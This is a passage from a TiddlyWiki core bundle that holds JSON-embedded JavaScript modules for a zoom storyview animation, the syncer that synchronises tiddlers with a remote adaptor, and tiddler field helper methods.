previous or next element in the story\n\tvar toWidget = widget.previousSibling();\n\tif(!toWidget) {\n\t\ttoWidget = widget.nextSibling();\n\t}\n\tvar toWidgetDomNode = toWidget && toWidget.findFirstDomNode();\n\t// Set up the tiddler we're moving back in\n\tif(toWidgetDomNode) {\n\t\t$tw.utils.addClass(toWidgetDomNode,\"tc-storyview-zoomin-tiddler\");\n\t\t$tw.utils.setStyle(toWidgetDomNode,[\n\t\t\t{display: \"block\"},\n\t\t\t{transformOrigin: \"50% 50%\"},\n\t\t\t{transform: \"translateX(0px) translateY(0px) scale(10)\"},\n\t\t\t{transition: $tw.utils.roundTripPropertyName(\"transform\") + \" \" + duration + \"ms \" + easing + \", opacity \" + duration + \"ms \" + easing},\n\t\t\t{opacity: \"0\"},\n\t\t\t{zIndex: \"500\"}\n\t\t]);\n\t\tthis.currentTiddlerDomNode = toWidgetDomNode;\n\t}\n\t// Animate them both\n\t// Force layout\n\t$tw.utils.forceLayout(this.listWidget.parentDomNode);\n\t// First, the tiddler we're closing\n\t$tw.utils.setStyle(targetElement,[\n\t\t{transformOrigin: \"50% 50%\"},\n\t\t{transform: \"translateX(0px) translateY(0px) scale(0.1)\"},\n\t\t{transition: $tw.utils.roundTripPropertyName(\"transform\") + \" \" + duration + \"ms \" + easing + \", opacity \" + duration + \"ms \" + easing},\n\t\t{opacity: \"0\"},\n\t\t{zIndex: \"0\"}\n\t]);\n\tsetTimeout(removeElement,duration);\n\t// Now the tiddler we're going back to\n\tif(toWidgetDomNode) {\n\t\t$tw.utils.setStyle(toWidgetDomNode,[\n\t\t\t{transform: \"translateX(0px) translateY(0px) scale(1)\"},\n\t\t\t{opacity: \"1\"}\n\t\t]);\n\t}\n\treturn true; // Indicate that we'll delete the DOM node\n};\n\nexports.zoomin = ZoominListView;\n\n})();\n",
"type": "application/javascript",
"module-type": "storyview"
},
"$:/core/modules/syncer.js": {
"title": "$:/core/modules/syncer.js",
"text": "/*\\\ntitle: $:/core/modules/syncer.js\ntype: application/javascript\nmodule-type: global\n\nThe syncer tracks changes to the store and synchronises them to a remote data store represented as a \"sync adaptor\"\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nDefaults\n*/\nSyncer.prototype.titleIsLoggedIn = \"$:/status/IsLoggedIn\";\nSyncer.prototype.titleIsAnonymous = \"$:/status/IsAnonymous\";\nSyncer.prototype.titleIsReadOnly = \"$:/status/IsReadOnly\";\nSyncer.prototype.titleUserName = \"$:/status/UserName\";\nSyncer.prototype.titleSyncFilter = \"$:/config/SyncFilter\";\nSyncer.prototype.titleSyncPollingInterval = \"$:/config/SyncPollingInterval\";\nSyncer.prototype.titleSyncDisableLazyLoading = \"$:/config/SyncDisableLazyLoading\";\nSyncer.prototype.titleSavedNotification = \"$:/language/Notifications/Save/Done\";\nSyncer.prototype.titleSyncThrottleInterval = \"$:/config/SyncThrottleInterval\";\nSyncer.prototype.taskTimerInterval = 1 * 1000; // Interval for sync timer\nSyncer.prototype.throttleInterval = 1 * 1000; // Defer saving tiddlers if they've changed in the last 1s...\nSyncer.prototype.errorRetryInterval = 5 * 1000; // Interval to retry after an error\nSyncer.prototype.fallbackInterval = 10 * 1000; // Unless the task is older than 10s\nSyncer.prototype.pollTimerInterval = 60 * 1000; // Interval for polling for changes from the adaptor\n\n/*\nInstantiate the syncer with the following options:\nsyncadaptor: reference to syncadaptor to be used\nwiki: wiki to be synced\n*/\nfunction Syncer(options) {\n\tvar self = this;\n\tthis.wiki = options.wiki;\n\t// Save parameters\n\tthis.syncadaptor = options.syncadaptor;\n\tthis.disableUI = !!options.disableUI;\n\tthis.titleIsLoggedIn = options.titleIsLoggedIn || this.titleIsLoggedIn;\n\tthis.titleUserName = options.titleUserName || this.titleUserName;\n\tthis.titleSyncFilter = options.titleSyncFilter || this.titleSyncFilter;\n\tthis.titleSavedNotification = options.titleSavedNotification || this.titleSavedNotification;\n\tthis.taskTimerInterval = options.taskTimerInterval || this.taskTimerInterval;\n\tthis.throttleInterval = options.throttleInterval || parseInt(this.wiki.getTiddlerText(this.titleSyncThrottleInterval,\"\"),10) || this.throttleInterval;\n\tthis.errorRetryInterval = options.errorRetryInterval || this.errorRetryInterval;\n\tthis.fallbackInterval = options.fallbackInterval || this.fallbackInterval;\n\tthis.pollTimerInterval = options.pollTimerInterval || parseInt(this.wiki.getTiddlerText(this.titleSyncPollingInterval,\"\"),10) || this.pollTimerInterval;\n\tthis.logging = \"logging\" in options ? options.logging : true;\n\t// Make a logger\n\tthis.logger = new $tw.utils.Logger(\"syncer\" + ($tw.browser ? \"-browser\" : \"\") + ($tw.node ? \"-server\" : \"\") + (this.syncadaptor.name ? (\"-\" + this.syncadaptor.name) : \"\"),{\n\t\tcolour: \"cyan\",\n\t\tenable: this.logging,\n\t\tsaveHistory: true\n\t});\n\t// Make another logger for connection errors\n\tthis.loggerConnection = new $tw.utils.Logger(\"syncer\" + ($tw.browser ? \"-browser\" : \"\") + ($tw.node ? \"-server\" : \"\") + (this.syncadaptor.name ? (\"-\" + this.syncadaptor.name) : \"\") + \"-connection\",{\n\t\tcolour: \"cyan\",\n\t\tenable: this.logging\n\t});\n\t// Ask the syncadaptor to use the main logger\n\tif(this.syncadaptor.setLoggerSaveBuffer) {\n\t\tthis.syncadaptor.setLoggerSaveBuffer(this.logger);\n\t}\n\t// Compile the dirty tiddler filter\n\tthis.filterFn = this.wiki.compileFilter(this.wiki.getTiddlerText(this.titleSyncFilter));\n\t// Record information for known tiddlers\n\tthis.readTiddlerInfo();\n\tthis.titlesToBeLoaded = {}; // Hashmap of titles of tiddlers that need loading from the server\n\tthis.titlesHaveBeenLazyLoaded = {}; // Hashmap of titles of tiddlers that have already been lazily loaded from the server\n\t// Timers\n\tthis.taskTimerId = null; // Timer for task dispatch\n\tthis.pollTimerId = null; // Timer for polling server\n\t// Number of outstanding requests\n\tthis.numTasksInProgress = 0;\n\t// Listen out for changes to tiddlers\n\tthis.wiki.addEventListener(\"change\",function(changes) {\n\t\t// Filter the changes to just include ones that are being synced\n\t\tvar filteredChanges = self.getSyncedTiddlers(function(callback) {\n\t\t\t$tw.utils.each(changes,function(change,title) {\n\t\t\t\tvar tiddler = self.wiki.tiddlerExists(title) && self.wiki.getTiddler(title);\n\t\t\t\tcallback(tiddler,title);\n\t\t\t});\n\t\t});\n\t\tif(filteredChanges.length > 0) {\n\t\t\tself.processTaskQueue();\n\t\t} else {\n\t\t\t// Look for deletions of tiddlers we're already syncing\t\n\t\t\tvar outstandingDeletion = false\n\t\t\t$tw.utils.each(changes,function(change,title,object) {\n\t\t\t\tif(change.deleted && $tw.utils.hop(self.tiddlerInfo,title)) {\n\t\t\t\t\toutstandingDeletion = true;\n\t\t\t\t}\n\t\t\t});\n\t\t\tif(outstandingDeletion) {\n\t\t\t\tself.processTaskQueue();\n\t\t\t}\n\t\t}\n\t});\n\t// Browser event handlers\n\tif($tw.browser && !this.disableUI) {\n\t\t// Set up our beforeunload handler\n\t\t$tw.addUnloadTask(function(event) {\n\t\t\tvar confirmationMessage;\n\t\t\tif(self.isDirty()) {\n\t\t\t\tconfirmationMessage = $tw.language.getString(\"UnsavedChangesWarning\");\n\t\t\t\tevent.returnValue = confirmationMessage; // Gecko\n\t\t\t}\n\t\t\treturn confirmationMessage;\n\t\t});\n\t\t// Listen out for login/logout/refresh events in the browser\n\t\t$tw.rootWidget.addEventListener(\"tm-login\",function() {\n\t\t\tself.handleLoginEvent();\n\t\t});\n\t\t$tw.rootWidget.addEventListener(\"tm-logout\",function() {\n\t\t\tself.handleLogoutEvent();\n\t\t});\n\t\t$tw.rootWidget.addEventListener(\"tm-server-refresh\",function() {\n\t\t\tself.handleRefreshEvent();\n\t\t});\n\t\t$tw.rootWidget.addEventListener(\"tm-copy-syncer-logs-to-clipboard\",function() {\n\t\t\t$tw.utils.copyToClipboard($tw.utils.getSystemInfo() + \"\\n\\nLog:\\n\" + self.logger.getBuffer());\n\t\t});\n\t}\n\t// Listen out for lazyLoad events\n\tif(!this.disableUI && $tw.wiki.getTiddlerText(this.titleSyncDisableLazyLoading) !== \"yes\") {\n\t\tthis.wiki.addEventListener(\"lazyLoad\",function(title) {\n\t\t\tself.handleLazyLoadEvent(title);\n\t\t});\t\t\n\t}\n\t// Get the login status\n\tthis.getStatus(function(err,isLoggedIn) {\n\t\t// Do a sync from the server\n\t\tself.syncFromServer();\n\t});\n}\n\n/*\nShow a generic network error alert\n*/\nSyncer.prototype.displayError = function(msg,err) {\n\tif(err === ($tw.language.getString(\"Error/XMLHttpRequest\") + \": 0\")) {\n\t\tthis.loggerConnection.alert($tw.language.getString(\"Error/NetworkErrorAlert\"));\n\t\tthis.logger.log(msg + \":\",err);\n\t} else {\n\t\tthis.logger.alert(msg + \":\",err);\n\t}\n};\n\n/*\nReturn an array of the tiddler titles that are subjected to syncing\n*/\nSyncer.prototype.getSyncedTiddlers = function(source) {\n\treturn this.filterFn.call(this.wiki,source);\n};\n\n/*\nReturn an array of the tiddler titles that are subjected to syncing\n*/\nSyncer.prototype.getTiddlerRevision = function(title) {\n\tif(this.syncadaptor && this.syncadaptor.getTiddlerRevision) {\n\t\treturn this.syncadaptor.getTiddlerRevision(title);\n\t} else {\n\t\treturn this.wiki.getTiddler(title).fields.revision;\t\n\t} \n};\n\n/*\nRead (or re-read) the latest tiddler info from the store\n*/\nSyncer.prototype.readTiddlerInfo = function() {\n\t// Hashmap by title of {revision:,changeCount:,adaptorInfo:}\n\t// \"revision\" is the revision of the tiddler last seen on the server, and \"changecount\" is the corresponding local changecount\n\tthis.tiddlerInfo = {};\n\t// Record information for known tiddlers\n\tvar self = this,\n\t\ttiddlers = this.getSyncedTiddlers();\n\t$tw.utils.each(tiddlers,function(title) {\n\t\tvar tiddler = self.wiki.tiddlerExists(title) && self.wiki.getTiddler(title);\n\t\tself.tiddlerInfo[title] = {\n\t\t\trevision: self.getTiddlerRevision(title),\n\t\t\tadaptorInfo: self.syncadaptor && self.syncadaptor.getTiddlerInfo(tiddler),\n\t\t\tchangeCount: self.wiki.getChangeCount(title)\n\t\t};\n\t});\n};\n\n/*\nChecks whether the wiki is dirty (ie the window shouldn't be closed)\n*/\nSyncer.prototype.isDirty = function() {\n\tthis.logger.log(\"Checking dirty status\");\n\t// Check tiddlers that are in the store and included in the filter function\n\tvar titles = this.getSyncedTiddlers();\n\tfor(var index=0; index<titles.length; index++) {\n\t\tvar title = titles[index],\n\t\t\ttiddlerInfo = this.tiddlerInfo[title];\n\t\tif(this.wiki.tiddlerExists(title)) {\n\t\t\tif(tiddlerInfo) {\n\t\t\t\t// If the tiddler is known on the server and has been modified locally then it needs to be saved to the server\n\t\t\t\tif($tw.wiki.getChangeCount(title) > tiddlerInfo.changeCount) {\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\t// If the tiddler isn't known on the server then it needs to be saved to the server\n\t\t\t\treturn true;\n\t\t\t}\n\t\t}\n\t}\n\t// Check tiddlers that are known from the server but not currently in the store\n\ttitles = Object.keys(this.tiddlerInfo);\n\tfor(index=0; index<titles.length; index++) {\n\t\tif(!this.wiki.tiddlerExists(titles[index])) {\n\t\t\t// There must be a pending delete\n\t\t\treturn true;\n\t\t}\n\t}\n\treturn false;\n};\n\n/*\nUpdate the document body with the class \"tc-dirty\" if the wiki has unsaved/unsynced changes\n*/\nSyncer.prototype.updateDirtyStatus = function() {\n\tif($tw.browser && !this.disableUI) {\n\t\tvar dirty = this.isDirty();\n\t\t$tw.utils.toggleClass(document.body,\"tc-dirty\",dirty);\n\t\tif(!dirty) {\n\t\t\tthis.loggerConnection.clearAlerts();\n\t\t}\n\t}\n};\n\n/*\nSave an incoming tiddler in the store, and updates the associated tiddlerInfo\n*/\nSyncer.prototype.storeTiddler = function(tiddlerFields) {\n\t// Save the tiddler\n\tvar tiddler = new $tw.Tiddler(tiddlerFields);\n\tthis.wiki.addTiddler(tiddler);\n\t// Save the tiddler revision and changeCount details\n\tthis.tiddlerInfo[tiddlerFields.title] = {\n\t\trevision: this.getTiddlerRevision(tiddlerFields.title),\n\t\tadaptorInfo: this.syncadaptor.getTiddlerInfo(tiddler),\n\t\tchangeCount: this.wiki.getChangeCount(tiddlerFields.title)\n\t};\n};\n\nSyncer.prototype.getStatus = function(callback) {\n\tvar self = this;\n\t// Check if the adaptor supports getStatus()\n\tif(this.syncadaptor && this.syncadaptor.getStatus) {\n\t\t// Mark us as not logged in\n\t\tthis.wiki.addTiddler({title: this.titleIsLoggedIn,text: \"no\"});\n\t\t// Get login status\n\t\tthis.syncadaptor.getStatus(function(err,isLoggedIn,username,isReadOnly,isAnonymous) {\n\t\t\tif(err) {\n\t\t\t\tself.logger.alert(err);\n\t\t\t} else {\n\t\t\t\t// Set the various status tiddlers\n\t\t\t\tself.wiki.addTiddler({title: self.titleIsReadOnly,text: isReadOnly ? \"yes\" : \"no\"});\n\t\t\t\tself.wiki.addTiddler({title: self.titleIsAnonymous,text: isAnonymous ? \"yes\" : \"no\"});\n\t\t\t\tself.wiki.addTiddler({title: self.titleIsLoggedIn,text: isLoggedIn ? \"yes\" : \"no\"});\n\t\t\t\tif(isLoggedIn) {\n\t\t\t\t\tself.wiki.addTiddler({title: self.titleUserName,text: username || \"\"});\n\t\t\t\t}\n\t\t\t}\n\t\t\t// Invoke the callback\n\t\t\tif(callback) {\n\t\t\t\tcallback(err,isLoggedIn,username);\n\t\t\t}\n\t\t});\n\t} else {\n\t\tcallback(null,true,\"UNAUTHENTICATED\");\n\t}\n};\n\n/*\nSynchronise from the server by reading the skinny tiddler list and queuing up loads for any tiddlers that we don't already have up to date\n*/\nSyncer.prototype.syncFromServer = function() {\n\tvar self = this,\n\t\tcancelNextSync = function() {\n\t\t\tif(self.pollTimerId) {\n\t\t\t\tclearTimeout(self.pollTimerId);\n\t\t\t\tself.pollTimerId = null;\n\t\t\t}\n\t\t},\n\t\ttriggerNextSync = function() {\n\t\t\tself.pollTimerId = setTimeout(function() {\n\t\t\t\tself.pollTimerId = null;\n\t\t\t\tself.syncFromServer.call(self);\n\t\t\t},self.pollTimerInterval);\n\t\t};\n\tif(this.syncadaptor && this.syncadaptor.getUpdatedTiddlers) {\n\t\tthis.logger.log(\"Retrieving updated tiddler list\");\n\t\tcancelNextSync();\n\t\tthis.syncadaptor.getUpdatedTiddlers(self,function(err,updates) {\n\t\t\ttriggerNextSync();\n\t\t\tif(err) {\n\t\t\t\tself.displayError($tw.language.getString(\"Error/RetrievingSkinny\"),err);\n\t\t\t\treturn;\n\t\t\t}\n\t\t\tif(updates) {\n\t\t\t\t$tw.utils.each(updates.modifications,function(title) {\n\t\t\t\t\tself.titlesToBeLoaded[title] = true;\n\t\t\t\t});\n\t\t\t\t$tw.utils.each(updates.deletions,function(title) {\n\t\t\t\t\tdelete self.tiddlerInfo[title];\n\t\t\t\t\tself.logger.log(\"Deleting tiddler missing from server:\",title);\n\t\t\t\t\tself.wiki.deleteTiddler(title);\n\t\t\t\t});\n\t\t\t\tif(updates.modifications.length > 0 || updates.deletions.length > 0) {\n\t\t\t\t\tself.processTaskQueue();\n\t\t\t\t}\t\t\t\t\n\t\t\t}\n\t\t});\n\t} else if(this.syncadaptor && this.syncadaptor.getSkinnyTiddlers) {\n\t\tthis.logger.log(\"Retrieving skinny tiddler list\");\n\t\tcancelNextSync();\n\t\tthis.syncadaptor.getSkinnyTiddlers(function(err,tiddlers) {\n\t\t\ttriggerNextSync();\n\t\t\t// Check for errors\n\t\t\tif(err) {\n\t\t\t\tself.displayError($tw.language.getString(\"Error/RetrievingSkinny\"),err);\n\t\t\t\treturn;\n\t\t\t}\n\t\t\t// Keep track of which tiddlers we already know about have been reported this time\n\t\t\tvar previousTitles = Object.keys(self.tiddlerInfo);\n\t\t\t// Process each incoming tiddler\n\t\t\tfor(var t=0; t<tiddlers.length; t++) {\n\t\t\t\t// Get the incoming tiddler fields, and the existing tiddler\n\t\t\t\tvar tiddlerFields = tiddlers[t],\n\t\t\t\t\tincomingRevision = tiddlerFields.revision + \"\",\n\t\t\t\t\ttiddler = self.wiki.tiddlerExists(tiddlerFields.title) && self.wiki.getTiddler(tiddlerFields.title),\n\t\t\t\t\ttiddlerInfo = self.tiddlerInfo[tiddlerFields.title],\n\t\t\t\t\tcurrRevision = tiddlerInfo ? tiddlerInfo.revision : null,\n\t\t\t\t\tindexInPreviousTitles = previousTitles.indexOf(tiddlerFields.title);\n\t\t\t\tif(indexInPreviousTitles !== -1) {\n\t\t\t\t\tpreviousTitles.splice(indexInPreviousTitles,1);\n\t\t\t\t}\n\t\t\t\t// Ignore the incoming tiddler if it's the same as the revision we've already got\n\t\t\t\tif(currRevision !== incomingRevision) {\n\t\t\t\t\t// Only load the skinny version if we don't already have a fat version of the tiddler\n\t\t\t\t\tif(!tiddler || tiddler.fields.text === undefined) {\n\t\t\t\t\t\tself.storeTiddler(tiddlerFields);\n\t\t\t\t\t}\n\t\t\t\t\t// Do a full load of this tiddler\n\t\t\t\t\tself.titlesToBeLoaded[tiddlerFields.title] = true;\n\t\t\t\t}\n\t\t\t}\n\t\t\t// Delete any tiddlers that were previously reported but missing this time\n\t\t\t$tw.utils.each(previousTitles,function(title) {\n\t\t\t\tdelete self.tiddlerInfo[title];\n\t\t\t\tself.logger.log(\"Deleting tiddler missing from server:\",title);\n\t\t\t\tself.wiki.deleteTiddler(title);\n\t\t\t});\n\t\t\tself.processTaskQueue();\n\t\t});\n\t}\n};\n\n/*\nForce load a tiddler from the server\n*/\nSyncer.prototype.enqueueLoadTiddler = function(title) {\n\tthis.titlesToBeLoaded[title] = true;\n\tthis.processTaskQueue();\n};\n\n/*\nLazily load a skinny tiddler if we can\n*/\nSyncer.prototype.handleLazyLoadEvent = function(title) {\n\t// Ignore if the syncadaptor doesn't handle it\n\tif(!this.syncadaptor.supportsLazyLoading) {\n\t\treturn;\n\t}\n\t// Don't lazy load the same tiddler twice\n\tif(!this.titlesHaveBeenLazyLoaded[title]) {\n\t\t// Don't lazy load if the tiddler isn't included in the sync filter\n\t\tif(this.getSyncedTiddlers().indexOf(title) !== -1) {\n\t\t\t// Mark the tiddler as needing loading, and having already been lazily loaded\n\t\t\tthis.titlesToBeLoaded[title] = true;\n\t\t\tthis.titlesHaveBeenLazyLoaded[title] = true;\n\t\t}\n\t}\n};\n\n/*\nDispay a password prompt and allow the user to login\n*/\nSyncer.prototype.handleLoginEvent = function() {\n\tvar self = this;\n\tthis.getStatus(function(err,isLoggedIn,username) {\n\t\tif(!err && !isLoggedIn) {\n\t\t\t$tw.passwordPrompt.createPrompt({\n\t\t\t\tserviceName: $tw.language.getString(\"LoginToTiddlySpace\"),\n\t\t\t\tcallback: function(data) {\n\t\t\t\t\tself.login(data.username,data.password,function(err,isLoggedIn) {\n\t\t\t\t\t\tself.syncFromServer();\n\t\t\t\t\t});\n\t\t\t\t\treturn true; // Get rid of the password prompt\n\t\t\t\t}\n\t\t\t});\n\t\t}\n\t});\n};\n\n/*\nAttempt to login to TiddlyWeb.\n\tusername: username\n\tpassword: password\n\tcallback: invoked with arguments (err,isLoggedIn)\n*/\nSyncer.prototype.login = function(username,password,callback) {\n\tthis.logger.log(\"Attempting to login as\",username);\n\tvar self = this;\n\tif(this.syncadaptor.login) {\n\t\tthis.syncadaptor.login(username,password,function(err) {\n\t\t\tif(err) {\n\t\t\t\treturn callback(err);\n\t\t\t}\n\t\t\tself.getStatus(function(err,isLoggedIn,username) {\n\t\t\t\tif(callback) {\n\t\t\t\t\tcallback(err,isLoggedIn);\n\t\t\t\t}\n\t\t\t});\n\t\t});\n\t} else {\n\t\tcallback(null,true);\n\t}\n};\n\n/*\nAttempt to log out of TiddlyWeb\n*/\nSyncer.prototype.handleLogoutEvent = function() {\n\tthis.logger.log(\"Attempting to logout\");\n\tvar self = this;\n\tif(this.syncadaptor.logout) {\n\t\tthis.syncadaptor.logout(function(err) {\n\t\t\tif(err) {\n\t\t\t\tself.logger.alert(err);\n\t\t\t} else {\n\t\t\t\tself.getStatus();\n\t\t\t}\n\t\t});\n\t}\n};\n\n/*\nImmediately refresh from the server\n*/\nSyncer.prototype.handleRefreshEvent = function() {\n\tthis.syncFromServer();\n};\n\n/*\nProcess the next task\n*/\nSyncer.prototype.processTaskQueue = function() {\n\tvar self = this;\n\t// Only process a task if the sync adaptor is fully initialised and we're not already performing\n\t// a task. If we are already performing a task then we'll dispatch the next one when it completes\n\tif((!this.syncadaptor.isReady || this.syncadaptor.isReady()) && this.numTasksInProgress === 0) {\n\t\t// Choose the next task to perform\n\t\tvar task = this.chooseNextTask();\n\t\t// Perform the task if we had one\n\t\tif(typeof task === \"object\" && task !== null) {\n\t\t\tthis.numTasksInProgress += 1;\n\t\t\ttask.run(function(err) {\n\t\t\t\tself.numTasksInProgress -= 1;\n\t\t\t\tif(err) {\n\t\t\t\t\tself.displayError(\"Sync error while processing \" + task.type + \" of '\" + task.title + \"'\",err);\n\t\t\t\t\tself.updateDirtyStatus();\n\t\t\t\t\tself.triggerTimeout(self.errorRetryInterval);\n\t\t\t\t} else {\n\t\t\t\t\tself.updateDirtyStatus();\n\t\t\t\t\t// Process the next task\n\t\t\t\t\tself.processTaskQueue.call(self);\t\t\t\t\t\n\t\t\t\t}\n\t\t\t});\n\t\t} else {\n\t\t\t// No task is ready so update the status\n\t\t\tthis.updateDirtyStatus();\n\t\t\t// And trigger a timeout if there is a pending task\n\t\t\tif(task === true) {\n\t\t\t\tthis.triggerTimeout();\t\t\t\t\n\t\t\t}\n\t\t}\n\t} else {\n\t\tthis.updateDirtyStatus();\t\t\n\t}\n};\n\nSyncer.prototype.triggerTimeout = function(interval) {\n\tvar self = this;\n\tif(!this.taskTimerId) {\n\t\tthis.taskTimerId = setTimeout(function() {\n\t\t\tself.taskTimerId = null;\n\t\t\tself.processTaskQueue.call(self);\n\t\t},interval || self.taskTimerInterval);\n\t}\n};\n\n/*\nChoose the next sync task. We prioritise saves, then deletes, then loads from the server\n\nReturns either a task object, null if there's no upcoming tasks, or the boolean true if there are pending tasks that aren't yet due\n*/\nSyncer.prototype.chooseNextTask = function() {\n\tvar thresholdLastSaved = (new Date()) - this.throttleInterval,\n\t\thavePending = null;\n\t// First we look for tiddlers that have been modified locally and need saving back to the server\n\tvar titles = this.getSyncedTiddlers();\n\tfor(var index=0; index<titles.length; index++) {\n\t\tvar title = titles[index],\n\t\t\ttiddler = this.wiki.tiddlerExists(title) && this.wiki.getTiddler(title),\n\t\t\ttiddlerInfo = this.tiddlerInfo[title];\n\t\tif(tiddler) {\n\t\t\t// If the tiddler is not known on the server, or has been modified locally no more recently than the threshold then it needs to be saved to the server\n\t\t\tvar hasChanged = !tiddlerInfo || $tw.wiki.getChangeCount(title) > tiddlerInfo.changeCount,\n\t\t\t\tisReadyToSave = !tiddlerInfo || !tiddlerInfo.timestampLastSaved || tiddlerInfo.timestampLastSaved < thresholdLastSaved;\n\t\t\tif(hasChanged) {\n\t\t\t\tif(isReadyToSave) {\n\t\t\t\t\treturn new SaveTiddlerTask(this,title); \t\t\t\t\t\n\t\t\t\t} else {\n\t\t\t\t\thavePending = true;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\t// Second, we check tiddlers that are known from the server but not currently in the store, and so need deleting on the server\n\ttitles = Object.keys(this.tiddlerInfo);\n\tfor(index=0; index<titles.length; index++) {\n\t\ttitle = titles[index];\n\t\ttiddlerInfo = this.tiddlerInfo[title];\n\t\ttiddler = this.wiki.tiddlerExists(title) && this.wiki.getTiddler(title);\n\t\tif(!tiddler) {\n\t\t\treturn new DeleteTiddlerTask(this,title);\n\t\t}\n\t}\n\t// Check for tiddlers that need loading\n\ttitle = Object.keys(this.titlesToBeLoaded)[0];\n\tif(title) {\n\t\tdelete this.titlesToBeLoaded[title];\n\t\treturn new LoadTiddlerTask(this,title);\n\t}\n\t// No tasks are ready\n\treturn havePending;\n};\n\nfunction SaveTiddlerTask(syncer,title) {\n\tthis.syncer = syncer;\n\tthis.title = title;\n\tthis.type = \"save\";\n}\n\nSaveTiddlerTask.prototype.run = function(callback) {\n\tvar self = this,\n\t\tchangeCount = this.syncer.wiki.getChangeCount(this.title),\n\t\ttiddler = this.syncer.wiki.tiddlerExists(this.title) && this.syncer.wiki.getTiddler(this.title);\n\tthis.syncer.logger.log(\"Dispatching 'save' task:\",this.title);\n\tif(tiddler) {\n\t\tthis.syncer.syncadaptor.saveTiddler(tiddler,function(err,adaptorInfo,revision) {\n\t\t\t// If there's an error, exit without changing any internal state\n\t\t\tif(err) {\n\t\t\t\treturn callback(err);\n\t\t\t}\n\t\t\t// Adjust the info stored about this tiddler\n\t\t\tself.syncer.tiddlerInfo[self.title] = {\n\t\t\t\tchangeCount: changeCount,\n\t\t\t\tadaptorInfo: adaptorInfo,\n\t\t\t\trevision: revision,\n\t\t\t\ttimestampLastSaved: new Date()\n\t\t\t};\n\t\t\t// Invoke the callback\n\t\t\tcallback(null);\n\t\t});\n\t} else {\n\t\tthis.syncer.logger.log(\" Not Dispatching 'save' task:\",this.title,\"tiddler does not exist\");\n\t\t$tw.utils.nextTick(callback(null));\n\t}\n};\n\nfunction DeleteTiddlerTask(syncer,title) {\n\tthis.syncer = syncer;\n\tthis.title = title;\n\tthis.type = \"delete\";\n}\n\nDeleteTiddlerTask.prototype.run = function(callback) {\n\tvar self = this;\n\tthis.syncer.logger.log(\"Dispatching 'delete' task:\",this.title);\n\tthis.syncer.syncadaptor.deleteTiddler(this.title,function(err) {\n\t\t// If there's an error, exit without changing any internal state\n\t\tif(err) {\n\t\t\treturn callback(err);\n\t\t}\n\t\t// Remove the info stored about this tiddler\n\t\tdelete self.syncer.tiddlerInfo[self.title];\n\t\t// Invoke the callback\n\t\tcallback(null);\n\t},{\n\t\ttiddlerInfo: self.syncer.tiddlerInfo[this.title]\n\t});\n};\n\nfunction LoadTiddlerTask(syncer,title) {\n\tthis.syncer = syncer;\n\tthis.title = title;\n\tthis.type = \"load\";\n}\n\nLoadTiddlerTask.prototype.run = function(callback) {\n\tvar self = this;\n\tthis.syncer.logger.log(\"Dispatching 'load' task:\",this.title);\n\tthis.syncer.syncadaptor.loadTiddler(this.title,function(err,tiddlerFields) {\n\t\t// If there's an error, exit without changing any internal state\n\t\tif(err) {\n\t\t\treturn callback(err);\n\t\t}\n\t\t// Update the info stored about this tiddler\n\t\tif(tiddlerFields) {\n\t\t\tself.syncer.storeTiddler(tiddlerFields);\n\t\t}\n\t\t// Invoke the callback\n\t\tcallback(null);\n\t});\n};\n\nexports.Syncer = Syncer;\n\n})();\n",
"type": "application/javascript",
"module-type": "global"
},
"$:/core/modules/tiddler.js": {
"title": "$:/core/modules/tiddler.js",
"text": "/*\\\ntitle: $:/core/modules/tiddler.js\ntype: application/javascript\nmodule-type: tiddlermethod\n\nExtension methods for the $tw.Tiddler object (constructor and methods required at boot time are in boot/boot.js)\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.hasTag = function(tag) {\n\treturn this.fields.tags && this.fields.tags.indexOf(tag) !== -1;\n};\n\nexports.isPlugin = function() {\n\treturn this.fields.type === \"application/json\" && this.hasField(\"plugin-type\");\n};\n\nexports.isDraft = function() {\n\treturn this.hasField(\"draft.of\");\n};\n\nexports.getFieldString = function(field) {\n\tvar value = this.fields[field];\n\t// Check for a missing field\n\tif(value === undefined || value === null) {\n\t\treturn \"\";\n\t}\n\t// Parse the field with the associated module (if any)\n\tvar fieldModule = $tw.Tiddler.fieldModules[field];\n\tif(fieldModule && fieldModule.stringify) {\n\t\treturn fieldModule.stringify.call(this,value);\n\t} else {\n\t\treturn value.toString();\n\t}\n};\n\n/*\nGet the value of a field as a list\n*/\nexports.getFieldList = function(field) {\n\tvar value = this.fields[field];\n\t// Check for a missing field\n\tif(value === undefined || value === null) {\n\t\treturn [];\n\t}\n\treturn $tw.utils.parseStringArray(value);\n};\n\n/*\nGet all the fields as a hashmap of strings. Options:\n\texclude: an array of field names to exclude\n*/\nexports.getFieldStrings = function(options) {\n\toptions = options || {};\n\tvar exclude = options.exclude || [];\n\tvar fields = {};\n\tfor(var field in this.fields) {\n\t\tif($tw.utils.hop(this.fields,field)) {\n\t\t\tif(exclude.indexOf(field) === -1) {\n\t\t\t\tfields[field] = this.getFieldString(field);\n\t\t\t}\n\t\t}\n\t}\n\treturn fields;\n};\n\n/*\nGet all the fields as a name:value block. Options:\n\texclude: an array of field names to exclude\n*/\nexports.getFieldStringBlock = function(options) {\n\toptions = options || {};\n\tvar exclude = options.exclude || [],\n\t\tfields = Object.keys(this.fields).sort(),\n\t\tresult = [];\n\tfor(var t=0; t<fields.length; t++) {\n\t\tvar field = fields[t];\n\t\tif(exclude.indexOf(field) === -1) {\n\t\t\tresult.push(field + \": \" + this.getFieldString(field));\n\t\t}\n\t}\n\treturn result.join(\"\\n\");\n};\n\nexports.getFieldDay = function(field) {\n\tif(this.cache && this.cache.day && $tw.utils.hop(this.cache.day,field) ) {\n\t\treturn this.cache.day[field];\n\t}\n\tvar day = \"\";\n\tif(this.fields[field]) {\n\t\tday = (new Date($tw.utils.parseDate(this.fields[field]))).setHours(0,0,0,0);\n\t}\n\tthis.cache.day = this.cache.day || {};\n\tthis.cache.day[field] = day;\n\treturn day;\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "tiddlermethod"
},
"$:/core/modules/upgraders/plugins.js": {
"title": "$:/core/modules/upgraders/plugins.js",
